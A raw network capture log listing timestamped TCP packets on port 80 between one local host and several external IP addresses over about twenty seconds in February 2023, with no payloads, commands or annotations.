Feb 16, 2023 13:57:52.911240101 CET	80	49700	2.180.10.7	192.168.2.3
Feb 16, 2023 13:57:52.911437035 CET	49700	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:52.911645889 CET	49700	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:52.911645889 CET	49700	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:53.015285015 CET	80	49700	2.180.10.7	192.168.2.3
Feb 16, 2023 13:57:53.028537989 CET	49701	80	192.168.2.3	203.91.116.53
Feb 16, 2023 13:57:53.181405067 CET	80	49701	203.91.116.53	192.168.2.3
Feb 16, 2023 13:57:53.181525946 CET	49701	80	192.168.2.3	203.91.116.53
Feb 16, 2023 13:57:53.181847095 CET	49701	80	192.168.2.3	203.91.116.53
Feb 16, 2023 13:57:53.181886911 CET	49701	80	192.168.2.3	203.91.116.53
Feb 16, 2023 13:57:53.334665060 CET	80	49701	203.91.116.53	192.168.2.3
Feb 16, 2023 13:57:54.003639936 CET	80	49701	203.91.116.53	192.168.2.3
Feb 16, 2023 13:57:54.003946066 CET	49701	80	192.168.2.3	203.91.116.53
Feb 16, 2023 13:57:54.004225969 CET	80	49701	203.91.116.53	192.168.2.3
Feb 16, 2023 13:57:54.004321098 CET	49701	80	192.168.2.3	203.91.116.53
Feb 16, 2023 13:57:54.156500101 CET	80	49701	203.91.116.53	192.168.2.3
Feb 16, 2023 13:57:55.108584881 CET	49702	80	192.168.2.3	203.91.116.53
Feb 16, 2023 13:57:55.265247107 CET	80	49702	203.91.116.53	192.168.2.3
Feb 16, 2023 13:57:55.265378952 CET	49702	80	192.168.2.3	203.91.116.53
Feb 16, 2023 13:57:55.265667915 CET	49702	80	192.168.2.3	203.91.116.53
Feb 16, 2023 13:57:55.265708923 CET	49702	80	192.168.2.3	203.91.116.53
Feb 16, 2023 13:57:55.426515102 CET	80	49702	203.91.116.53	192.168.2.3
Feb 16, 2023 13:57:56.084260941 CET	80	49702	203.91.116.53	192.168.2.3
Feb 16, 2023 13:57:56.084830046 CET	49702	80	192.168.2.3	203.91.116.53
Feb 16, 2023 13:57:56.084912062 CET	80	49702	203.91.116.53	192.168.2.3
Feb 16, 2023 13:57:56.085028887 CET	49702	80	192.168.2.3	203.91.116.53
Feb 16, 2023 13:57:56.161271095 CET	49703	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:56.237756968 CET	80	49702	203.91.116.53	192.168.2.3
Feb 16, 2023 13:57:56.271581888 CET	80	49703	2.180.10.7	192.168.2.3
Feb 16, 2023 13:57:56.271770954 CET	49703	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:56.272224903 CET	49703	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:56.273154020 CET	49703	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:56.383475065 CET	80	49703	2.180.10.7	192.168.2.3
Feb 16, 2023 13:57:57.173399925 CET	80	49703	2.180.10.7	192.168.2.3
Feb 16, 2023 13:57:57.173713923 CET	49703	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:57.174357891 CET	80	49703	2.180.10.7	192.168.2.3
Feb 16, 2023 13:57:57.174499989 CET	49703	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:57.274009943 CET	49704	80	192.168.2.3	95.158.162.200
Feb 16, 2023 13:57:57.281490088 CET	80	49703	2.180.10.7	192.168.2.3
Feb 16, 2023 13:57:57.327788115 CET	80	49704	95.158.162.200	192.168.2.3
Feb 16, 2023 13:57:57.328246117 CET	49704	80	192.168.2.3	95.158.162.200
Feb 16, 2023 13:57:57.328691959 CET	49704	80	192.168.2.3	95.158.162.200
Feb 16, 2023 13:57:57.328739882 CET	49704	80	192.168.2.3	95.158.162.200
Feb 16, 2023 13:57:57.382944107 CET	80	49704	95.158.162.200	192.168.2.3
Feb 16, 2023 13:57:57.652863979 CET	80	49704	95.158.162.200	192.168.2.3
Feb 16, 2023 13:57:57.652903080 CET	80	49704	95.158.162.200	192.168.2.3
Feb 16, 2023 13:57:57.653013945 CET	49704	80	192.168.2.3	95.158.162.200
Feb 16, 2023 13:57:57.653099060 CET	49704	80	192.168.2.3	95.158.162.200
Feb 16, 2023 13:57:57.707842112 CET	80	49704	95.158.162.200	192.168.2.3
Feb 16, 2023 13:57:57.712537050 CET	49705	80	192.168.2.3	95.158.162.200
Feb 16, 2023 13:57:57.766758919 CET	80	49705	95.158.162.200	192.168.2.3
Feb 16, 2023 13:57:57.766947031 CET	49705	80	192.168.2.3	95.158.162.200
Feb 16, 2023 13:57:57.767302990 CET	49705	80	192.168.2.3	95.158.162.200
Feb 16, 2023 13:57:57.767302990 CET	49705	80	192.168.2.3	95.158.162.200
Feb 16, 2023 13:57:57.821903944 CET	80	49705	95.158.162.200	192.168.2.3
Feb 16, 2023 13:57:58.141119003 CET	80	49705	95.158.162.200	192.168.2.3
Feb 16, 2023 13:57:58.141159058 CET	80	49705	95.158.162.200	192.168.2.3
Feb 16, 2023 13:57:58.141324043 CET	49705	80	192.168.2.3	95.158.162.200
Feb 16, 2023 13:57:58.141411066 CET	49705	80	192.168.2.3	95.158.162.200
Feb 16, 2023 13:57:58.194175959 CET	80	49705	95.158.162.200	192.168.2.3
Feb 16, 2023 13:57:58.206562042 CET	49706	80	192.168.2.3	95.158.162.200
Feb 16, 2023 13:57:58.260174990 CET	80	49706	95.158.162.200	192.168.2.3
Feb 16, 2023 13:57:58.260376930 CET	49706	80	192.168.2.3	95.158.162.200
Feb 16, 2023 13:57:58.260751009 CET	49706	80	192.168.2.3	95.158.162.200
Feb 16, 2023 13:57:58.260808945 CET	49706	80	192.168.2.3	95.158.162.200
Feb 16, 2023 13:57:58.313306093 CET	80	49706	95.158.162.200	192.168.2.3
Feb 16, 2023 13:57:58.600131989 CET	80	49706	95.158.162.200	192.168.2.3
Feb 16, 2023 13:57:58.600163937 CET	80	49706	95.158.162.200	192.168.2.3
Feb 16, 2023 13:57:58.600322008 CET	49706	80	192.168.2.3	95.158.162.200
Feb 16, 2023 13:57:58.607450008 CET	49706	80	192.168.2.3	95.158.162.200
Feb 16, 2023 13:57:58.652699947 CET	49707	80	192.168.2.3	203.91.116.53
Feb 16, 2023 13:57:58.658121109 CET	80	49706	95.158.162.200	192.168.2.3
Feb 16, 2023 13:57:58.799477100 CET	80	49707	203.91.116.53	192.168.2.3
Feb 16, 2023 13:57:58.799690962 CET	49707	80	192.168.2.3	203.91.116.53
Feb 16, 2023 13:57:58.800136089 CET	49707	80	192.168.2.3	203.91.116.53
Feb 16, 2023 13:57:58.800203085 CET	49707	80	192.168.2.3	203.91.116.53
Feb 16, 2023 13:57:58.947494984 CET	80	49707	203.91.116.53	192.168.2.3
Feb 16, 2023 13:57:59.608724117 CET	80	49707	203.91.116.53	192.168.2.3
Feb 16, 2023 13:57:59.608918905 CET	49707	80	192.168.2.3	203.91.116.53
Feb 16, 2023 13:57:59.609441042 CET	80	49707	203.91.116.53	192.168.2.3
Feb 16, 2023 13:57:59.610728979 CET	49707	80	192.168.2.3	203.91.116.53
Feb 16, 2023 13:57:59.756222010 CET	80	49707	203.91.116.53	192.168.2.3
Feb 16, 2023 13:58:01.521231890 CET	49708	80	192.168.2.3	195.158.3.162
Feb 16, 2023 13:58:01.640394926 CET	80	49708	195.158.3.162	192.168.2.3
Feb 16, 2023 13:58:01.640738964 CET	49708	80	192.168.2.3	195.158.3.162
Feb 16, 2023 13:58:01.641001940 CET	49708	80	192.168.2.3	195.158.3.162
Feb 16, 2023 13:58:01.641937971 CET	49708	80	192.168.2.3	195.158.3.162
Feb 16, 2023 13:58:01.760639906 CET	80	49708	195.158.3.162	192.168.2.3
Feb 16, 2023 13:58:02.204796076 CET	80	49708	195.158.3.162	192.168.2.3
Feb 16, 2023 13:58:02.204840899 CET	80	49708	195.158.3.162	192.168.2.3
Feb 16, 2023 13:58:02.204992056 CET	49708	80	192.168.2.3	195.158.3.162
Feb 16, 2023 13:58:02.205051899 CET	49708	80	192.168.2.3	195.158.3.162
Feb 16, 2023 13:58:02.323137999 CET	80	49708	195.158.3.162	192.168.2.3
Feb 16, 2023 13:58:03.291526079 CET	49709	80	192.168.2.3	185.95.186.58
Feb 16, 2023 13:58:03.383683920 CET	80	49709	185.95.186.58	192.168.2.3
Feb 16, 2023 13:58:03.383863926 CET	49709	80	192.168.2.3	185.95.186.58
Feb 16, 2023 13:58:04.049453020 CET	49709	80	192.168.2.3	185.95.186.58
Feb 16, 2023 13:58:04.049499989 CET	49709	80	192.168.2.3	185.95.186.58
Feb 16, 2023 13:58:04.137624979 CET	80	49709	185.95.186.58	192.168.2.3
Feb 16, 2023 13:58:04.351016045 CET	80	49709	185.95.186.58	192.168.2.3
Feb 16, 2023 13:58:04.351079941 CET	80	49709	185.95.186.58	192.168.2.3
Feb 16, 2023 13:58:04.351146936 CET	49709	80	192.168.2.3	185.95.186.58
Feb 16, 2023 13:58:04.351233959 CET	49709	80	192.168.2.3	185.95.186.58
Feb 16, 2023 13:58:04.439101934 CET	80	49709	185.95.186.58	192.168.2.3
Feb 16, 2023 13:58:04.886333942 CET	49710	80	192.168.2.3	211.171.233.126
Feb 16, 2023 13:58:05.130052090 CET	80	49710	211.171.233.126	192.168.2.3
Feb 16, 2023 13:58:05.130197048 CET	49710	80	192.168.2.3	211.171.233.126
Feb 16, 2023 13:58:05.130599976 CET	49710	80	192.168.2.3	211.171.233.126
Feb 16, 2023 13:58:05.130659103 CET	49710	80	192.168.2.3	211.171.233.126
Feb 16, 2023 13:58:05.374404907 CET	80	49710	211.171.233.126	192.168.2.3
Feb 16, 2023 13:58:06.439765930 CET	80	49710	211.171.233.126	192.168.2.3
Feb 16, 2023 13:58:06.439814091 CET	80	49710	211.171.233.126	192.168.2.3
Feb 16, 2023 13:58:06.439888954 CET	49710	80	192.168.2.3	211.171.233.126
Feb 16, 2023 13:58:06.440017939 CET	49710	80	192.168.2.3	211.171.233.126
Feb 16, 2023 13:58:06.485697985 CET	49711	80	192.168.2.3	211.171.233.126
Feb 16, 2023 13:58:06.683681965 CET	80	49710	211.171.233.126	192.168.2.3
Feb 16, 2023 13:58:06.742135048 CET	80	49711	211.171.233.126	192.168.2.3
Feb 16, 2023 13:58:06.742240906 CET	49711	80	192.168.2.3	211.171.233.126
Feb 16, 2023 13:58:06.742602110 CET	49711	80	192.168.2.3	211.171.233.126
Feb 16, 2023 13:58:06.742655039 CET	49711	80	192.168.2.3	211.171.233.126
Feb 16, 2023 13:58:06.998733997 CET	80	49711	211.171.233.126	192.168.2.3
Feb 16, 2023 13:58:08.013396978 CET	80	49711	211.171.233.126	192.168.2.3
Feb 16, 2023 13:58:08.013506889 CET	80	49711	211.171.233.126	192.168.2.3
Feb 16, 2023 13:58:08.013686895 CET	49711	80	192.168.2.3	211.171.233.126
Feb 16, 2023 13:58:08.013761044 CET	49711	80	192.168.2.3	211.171.233.126
Feb 16, 2023 13:58:08.078201056 CET	49712	80	192.168.2.3	211.171.233.126
Feb 16, 2023 13:58:08.269973993 CET	80	49711	211.171.233.126	192.168.2.3
Feb 16, 2023 13:58:08.330071926 CET	80	49712	211.171.233.126	192.168.2.3
Feb 16, 2023 13:58:08.331552029 CET	49712	80	192.168.2.3	211.171.233.126
Feb 16, 2023 13:58:08.331552029 CET	49712	80	192.168.2.3	211.171.233.126
Feb 16, 2023 13:58:08.331552029 CET	49712	80	192.168.2.3	211.171.233.126
Feb 16, 2023 13:58:08.583578110 CET	80	49712	211.171.233.126	192.168.2.3
Feb 16, 2023 13:58:09.300143003 CET	80	49712	211.171.233.126	192.168.2.3
Feb 16, 2023 13:58:09.300187111 CET	80	49712	211.171.233.126	192.168.2.3
Feb 16, 2023 13:58:09.300308943 CET	49712	80	192.168.2.3	211.171.233.126
Feb 16, 2023 13:58:09.300379038 CET	49712	80	192.168.2.3	211.171.233.126
Feb 16, 2023 13:58:09.386892080 CET	49713	80	192.168.2.3	211.171.233.126
Feb 16, 2023 13:58:09.550865889 CET	80	49712	211.171.233.126	192.168.2.3
Feb 16, 2023 13:58:09.632540941 CET	80	49713	211.171.233.126	192.168.2.3
Feb 16, 2023 13:58:09.632653952 CET	49713	80	192.168.2.3	211.171.233.126
Feb 16, 2023 13:58:09.632986069 CET	49713	80	192.168.2.3	211.171.233.126
Feb 16, 2023 13:58:09.633019924 CET	49713	80	192.168.2.3	211.171.233.126
Feb 16, 2023 13:58:09.878643990 CET	80	49713	211.171.233.126	192.168.2.3
Feb 16, 2023 13:58:10.922633886 CET	80	49713	211.171.233.126	192.168.2.3
Feb 16, 2023 13:58:10.922684908 CET	80	49713	211.171.233.126	192.168.2.3
Feb 16, 2023 13:58:10.922816992 CET	49713	80	192.168.2.3	211.171.233.126
Feb 16, 2023 13:58:10.922988892 CET	49713	80	192.168.2.3	211.171.233.126
Feb 16, 2023 13:58:11.023941994 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.083242893 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.084294081 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.084640980 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.143373013 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.152817965 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.152856112 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.152880907 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.152908087 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.152931929 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.152956009 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.152981997 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.152982950 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.153007984 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.153028011 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.153033018 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.153058052 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.153059006 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.153105021 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.168229103 CET	80	49713	211.171.233.126	192.168.2.3
Feb 16, 2023 13:58:11.211910009 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.211942911 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.211967945 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.211992979 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.212018967 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.212044001 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.212068081 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.212094069 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.212119102 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.212131977 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.212142944 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.212167978 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.212192059 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.212194920 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.212217093 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.212238073 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.212240934 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.212265968 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.212290049 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.212291002 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.212313890 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.212331057 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.212337971 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.212363005 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.212385893 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.212407112 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.212445021 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.271110058 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.271142006 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.271162033 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.271181107 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.271198988 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.271218061 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.271235943 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.271245956 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.271255016 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.271301985 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.271392107 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.271508932 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.271531105 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.271555901 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.271574974 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.271576881 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.271631002 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.271671057 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.271691084 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.271708965 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.271728039 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.271729946 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.271749020 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.271756887 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.271768093 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.271787882 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.271795034 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.271807909 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.271826982 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.271830082 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.271847010 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.271864891 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.271883965 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.271915913 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.271954060 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.272089958 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.272110939 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.272130013 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.272147894 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.272154093 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.272166967 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.272193909 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.272214890 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.272253036 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.272304058 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.272321939 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.272341967 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.272352934 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.272403002 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.272558928 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.272578955 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.272597075 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.272614956 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.272622108 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.272660017 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.272660971 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.272680044 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.272716045 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.330396891 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.330454111 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.330483913 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.330509901 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.330522060 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.330538988 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.330554962 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.330568075 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.330595016 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.330620050 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.330624104 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.330643892 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.330662966 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.330667973 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.330708981 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.330708981 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.330738068 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.330766916 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.330792904 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.330796003 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.330820084 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.330836058 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.330846071 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.330863953 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.330887079 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.330887079 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.330914974 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.330928087 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.330940962 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.330967903 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.330990076 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.330996037 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.331023932 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.331036091 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.331049919 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.331074953 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.331095934 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.331096888 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.331123114 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.331146955 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.331149101 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.331175089 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.331188917 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.331202030 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.331228018 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.331240892 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.331254005 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.331280947 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.331293106 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.331300974 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.331317902 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.331336021 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.331352949 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.331355095 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.331370115 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.331387997 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.331397057 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.331406116 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.331423998 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.331423998 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.331458092 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.331505060 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.331523895 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.331547022 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.331549883 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.331576109 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.331589937 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.331625938 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.331653118 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.331665993 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.331679106 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.331703901 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.331720114 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.331907034 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.331970930 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.390332937 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.390360117 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.390381098 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.390400887 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.390422106 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.390439987 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.390460014 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.390477896 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.390494108 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.390497923 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.390517950 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.390536070 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.390541077 CET	49714	80	192.168.2.3	91.227.16.11
